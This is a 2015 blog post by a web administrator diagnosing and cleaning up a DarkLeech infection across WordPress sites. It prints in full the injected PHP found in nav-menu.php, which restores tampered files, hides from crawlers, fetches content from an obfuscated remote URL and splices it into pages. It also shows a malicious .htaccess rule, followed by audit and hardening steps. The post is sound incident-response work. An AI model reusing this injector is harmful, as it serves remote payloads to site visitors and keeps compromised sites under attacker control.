DarkLeech: Finally Under Control?

  • Posted on: 4 June 2015
  • By: davis

Previous entry (didn't know it was DarkLeech at the time): GeneralKlausel.php

DarkLeech Information, courtesy of Sucuri Security: Some statistics, a general overview of the infection

So, I think I've pinned down the cause of all those Wordpress/server issues. It definitely seems to be a DarkLeech variant. The research I've done suggests that DarkLeech typically infiltrates via the Revolution Slider plugin - we had that plugin running on a couple of sites, and either could have been the attack vector. 

Symptoms:

Infection and modification of wp-includes/nav-menu.php. Below is the code that's added maliciously

*///istart
 	  	466	
 	  	467	function my_time($dir) {
 	  	468	   foreach (glob($dir . '/wp-*.php') as $f) {
 	  	469	       $times[] = filemtime($f);
 	  	470	   }
 	  	471	   $max = 1;
 	  	472	   for ($i = 0; $i < count($times) - 1; $i++) {
 	  	473	       $k = 1;
 	  	474	       for ($j = $i + 1; $j < count($times); $j++) {
 	  	475	           if ($times[$i] == $times[$j]) {
 	  	476	               $k++;
 	  	477	               if ($k > $max) {
 	  	478	                   $max = $k;
 	  	479	                   $time = $times[$i];
 	  	480	               }
 	  	481	           }
 	  	482	       }
 	  	483	   }
 	  	484	   return $time;
 	  	485	}
 	  	486	
 	  	487	function my_correct($dir) {
 	  	488	   $time = 0;
 	  	489	   $path = $dir . '/index.php';
 	  	490	   $content = base64_decode('PD9waHAKLyoqCiAqIEZyb250IHRvIHRoZSBXb3JkUHJlc3MgYXBwbGljYXRpb24uIFRoaXMgZmlsZSBkb2Vzbid0IGRvIGFueXRoaW5nLCBidXQgbG9hZHMKICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4KICoKICogQHBhY2thZ2UgV29yZFByZXNzCiAqLwoKLyoqCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4KICoKICogQHZhciBib29sCiAqLwpkZWZpbmUoJ1dQX1VTRV9USEVNRVMnLCB0cnVlKTsKCi8qKiBMb2FkcyB0aGUgV29yZFByZXNzIEVudmlyb25tZW50IGFuZCBUZW1wbGF0ZSAqLwpyZXF1aXJlKCBkaXJuYW1lKCBfX0ZJTEVfXyApIC4gJy93cC1ibG9nLWhlYWRlci5waHAnICk7Cg==');
 	  	491	   if (file_get_contents($path) != $content) {
 	  	492	       chmod($path, 0644);
 	  	493	       file_put_contents($path, $content);
 	  	494	       chmod($path, 0444);
 	  	495	       $time = my_time($dir);
 	  	496	       touch($path, $time);
 	  	497	   }
 	  	498	
 	  	499	   $path = $dir . '/.htaccess';
 	  	500	   $content = base64_decode('IyBCRUdJTiBXb3JkUHJlc3MKPElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+ClJld3JpdGVFbmdpbmUgT24KUmV3cml0ZUJhc2UgLwpSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYKUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWQKUmV3cml0ZVJ1bGUgLiAvaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPgoKIyBFTkQgV29yZFByZXNzCg==');
 	  	501	   if (file_exists($path) AND file_get_contents($path) != $content) {
 	  	502	       chmod($path, 0644);
 	  	503	       file_put_contents($path, $content);
 	  	504	       chmod($path, 0444);
 	  	505	       if (!$time) {
 	  	506	           $time = my_time($dir);
 	  	507	       }
 	  	508	       touch($path, $time);
 	  	509	   }
 	  	510	}
 	  	511	
 	  	512	my_correct(dirname(__FILE__) . '/..');
 	  	513	
 	  	514	function request_url_data($url) {
 	  	515	   $site_url = (preg_match('/^https?:\/\//i', $_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
 	  	516	   if (function_exists('curl_init')) {
 	  	517	       $ch = curl_init();
 	  	518	       curl_setopt($ch, CURLOPT_TIMEOUT, 5);
 	  	519	       curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
 	  	520	       curl_setopt($ch, CURLOPT_URL, $url);
 	  	521	       curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
 	  	522	       curl_setopt($ch, CURLOPT_HTTPHEADER, array(
 	  	523	           'X-Forwarded-For: ' . $_SERVER["REMOTE_ADDR"],
 	  	524	           'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"],
 	  	525	           'Referer: ' . $site_url,
 	  	526	       ));
 	  	527	       $response = trim(curl_exec($ch));
 	  	528	   } elseif (function_exists('fsockopen')) {
 	  	529	       $m = parse_url($url);
 	  	530	       if ($fp = fsockopen($m['host'], 80, $errno, $errstr, 6)) {
 	  	531	           fwrite($fp, 'GET http://' . $m['host'] . $m["path"] . '?' . $m['query'] . ' HTTP/1.0' . "\r\n" .
 	  	532	               'Host: ' . $m['host'] . "\r\n" .
 	  	533	               'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"] . "\r\n" .
 	  	534	               'X-Forwarded-For: ' . @$_SERVER["REMOTE_ADDR"] . "\r\n" .
 	  	535	                   'Referer: ' . $site_url . "\r\n" .
 	  	536	                   'Connection: Close' . "\r\n\r\n");
 	  	537	           $response = '';
 	  	538	           while (!feof($fp)) {
 	  	539	               $response .= fgets($fp, 1024);
 	  	540	           }
 	  	541	           list($headers, $response) = explode("\r\n\r\n", $response);
 	  	542	           fclose($fp);
 	  	543	       }
 	  	544	   } else {
 	  	545	       $response = 'curl_init and fsockopen disabled';
 	  	546	   }
 	  	547	   return $response;
 	  	548	}
 	  	549	
 	  	550	error_reporting(0);
 	  	551	$_passssword = '0597cbcd1a3ba547c1ef58a6358b5b66';
 	  	552	unset($_passssword);
 	  	553	
 	  	554	if (function_exists("add_action")) {
 	  	555	   add_action('wp_head', 'add_2head');
 	  	556	   add_action('wp_footer', 'add_2footer');
 	  	557	}
 	  	558	
 	  	559	function add_2head() {
 	  	560	   ob_start();
 	  	561	}
 	  	562	
 	  	563	function add_2footer() {
 	  	564	   $check = false;
 	  	565	   $check_data = "";
 	  	566	   if (!empty($_GET['check']) AND $_GET['check'] == '0597cbcd1a3ba547c1ef58a6358b5b66') {
 	  	567	       $check = true;
 	  	568	       $check_data = ('');
 	  	571	   }
 	  	572	
 	  	573	   if (!$check) {
 	  	574	       if (!@$_SERVER['HTTP_USER_AGENT'] OR (substr($_SERVER['REMOTE_ADDR'], 0, 6) == '74.125') OR preg_match('/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i', $_SERVER['HTTP_USER_AGENT']))
 	  	575	           return;
 	  	576	
 	  	577	       $cookie_name = 'PHP_SESSION_PHP';
 	  	578	       if (isset($_COOKIE[$cookie_name]))
 	  	579	           return;
 	  	580	
 	  	581	       foreach (array('/\.css$/', '/\.swf$/', '/\.ashx$/', '/\.docx$/', '/\.doc$/', '/\.xls$/', '/\.xlsx$/', '/\.xml$/', '/\.jpg$/', '/\.pdf$/', '/\.png$/', '/\.gif$/', '/\.ico$/', '/\.js$/', '/\.txt$/', '/ajax/', '/cron\.php$/', '/wp\-login\.php$/', '/\/wp\-includes\//', '/\/wp\-admin/', '/\/admin\//', '/\/wp\-content\//', '/\/administrator\//', '/phpmyadmin/i', '/xmlrpc\.php/', '/\/feed\//') as $regex) {
 	  	582	           if (preg_match($regex, $_SERVER['REQUEST_URI']))
 	  	583	               return;
 	  	584	       }
 	  	585	   }
 	  	586	
 	  	587	   $buffer = ob_get_clean();
 	  	588	   ob_start();
 	  	589	   $regexp = '/]*>/is';
 	  	590	   if (preg_match($regexp, $buffer, $m)) {
 	  	591	       $body = $m[0];
 	  	592	       $url = base64_decode('aHR0cDovL25pa2FyYWd1YS5zbHlpcC5jb20vYmxvZy8/YmY0eiZ1dG1fc291cmNlPTQ1NzMyOjEzMTY0OToyMjU=');
 	  	593	//       if (($code = request_url_data($url)) AND base64_decode($code) AND preg_match('#[a-zA-Z0-9+/]+={0,3}#is', $code, $m)) {
 	  	594	       if (($code = request_url_data($url)) AND $decoded = base64_decode($code, true)) {
 	  	595	           $body .= '';
 	  	596	//           $body .= base64_decode($m[0]);
 	  	597	           $body .= $decoded;
 	  	598	//           $body .= base64_decode($m[0]);
 	  	599	       }
 	  	600	       $body .= $check_data;
 	  	601	
 	  	602	       $buffer = preg_replace($regexp, $body, $buffer);
 	  	603	   }
 	  	604	   echo $buffer;
 	  	605	   ob_flush();
 	  	606	}//iend
 	  	607	
[^>

Creation of random .php files in wp-content and wp-includes. These .php files were oddly named (general-klausel.php was the first one I discovered). 
Modification of .htaccess files (below)

;
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ /wp-includes/generalklausel.php?q=$1 [L]

I've detailed what I tried in other posts. Here's what actually worked.

Here's my full list of solutions:

I installed Wordfence and Sucuri Security plugins.
I installed Plugin Garbage Collector, incidentally, which is a great little tool.
Generally, I use Wordfence to block login attempts and check for core file modification. Sucuri is great for checking logs, restoring core files, scanning for malware, and much more. I cannot recommend Sucuri tools enough for any Wordpress administrator with large userbases.

I used maldet to scan my server for malware:

maldet -b -a /? (scan all).

I noticed that even when I restored nav-menu.php, it would invariably be modified a few days later.

I set up auditctl on a few different nav-menu.php files.  

auditctl -w /var/www/vhosts/selfreliancecentral.com/wp-includes/nav-menu.php -p wa -k SRC1


I was able to observe the following:

root@web01-gpv1:~# ausearch -i -k SRC1
----
type=PATH msg=audit(06/01/2015 13:23:05.823:609200) : item=0 name=/var/www/vhosts/selfreliancecentral.com/wp-includes/nav-menu.php inode=1410970 dev=ca:01 mode=file,664 ouid=www-data ogid=www-data rdev=00:00
type=CWD msg=audit(06/01/2015 13:23:05.823:609200) :  cwd=/var/www/vhosts/redstatepulse.com/wp-content/themes/genesis/lib/structure
type=SYSCALL msg=audit(06/01/2015 13:23:05.823:609200) : arch=x86_64 syscall=open success=yes exit=54 a0=7f1413ead050 a1=241 a2=1b6 a3=7ffef00108d0 items=1 ppid=4699 pid=10609 auid=unset uid=www-data gid=www-data euid=www-data suid=www-data fsuid=www-data egid=www-data sgid=www-data fsgid=www-data tty=(none) ses=4294967295 comm=apache2 exe=/usr/lib/apache2/mpm-prefork/apache2 key=SRC1

Aha! The Genesis theme was apparently compromised. I reinstalled a fresh version of the theme, set file permissions to 444, and assigned ownership of the Genesis files to a new apache account.

I modified permissions on the nav-menu.php file (chmod 444, chown root:root) so that it won't be modified.

Fingers crossed. This is still an active issue - there are people posting on the Sucuri site right now (6/4/2015) about the problem. I hope some of them see this and find it useful.